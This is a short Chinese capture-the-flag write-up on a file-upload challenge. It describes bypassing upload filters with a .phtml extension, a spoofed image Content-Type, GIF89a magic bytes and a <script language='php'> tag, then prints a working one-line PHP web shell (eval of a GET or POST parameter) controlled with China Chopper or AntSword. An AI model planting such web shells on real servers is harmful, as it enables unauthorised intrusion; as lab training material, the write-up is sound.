菜刀连接文件上传出现:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 06 Apr 2020 08:42:03 GMT
Content-Type: text/html
Content-Length: 8
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.29
的解决过程
关于文件上传的题目,之前一直有做,步骤也没错,但是就是做不出来,已经好几题都是这样-,直到有一天······
上传一句话木马php,提示过滤了<?
,用绕过后又提示不能是php,那先拿其他ph开头的试过去:
试到phtml成功,但是又提示要image,那这就很明显了,修改content-type为image/jpeg就可以成功上传,然后菜刀连接(就是这里一直出错):
我寻思哪里出错了,但又没错啊,都显示200肯定就上传成功了,然后半个小时过去了,还是这个,最后发现,菜刀连接是要用POST
!对不起,我对我的这个一句话木马过于自信了,我没有检查代码,裂开。
第一版shell:
GIF89a?
<script language='php'>eval($_GET['v']);</script>
第二版shell:
GIF89a?
<script language='php'>eval($_POST['v']);</script>
然后重新操作一遍:
连接成功,虚拟终端cat /flag就能得到flag。
ps:所以还是要细心啊。
别走,如果还是连不上,那就换蚁剑吧,后来打比赛我发现菜刀连不上的,蚁剑毫无压力,何况蚁剑还有插件商城。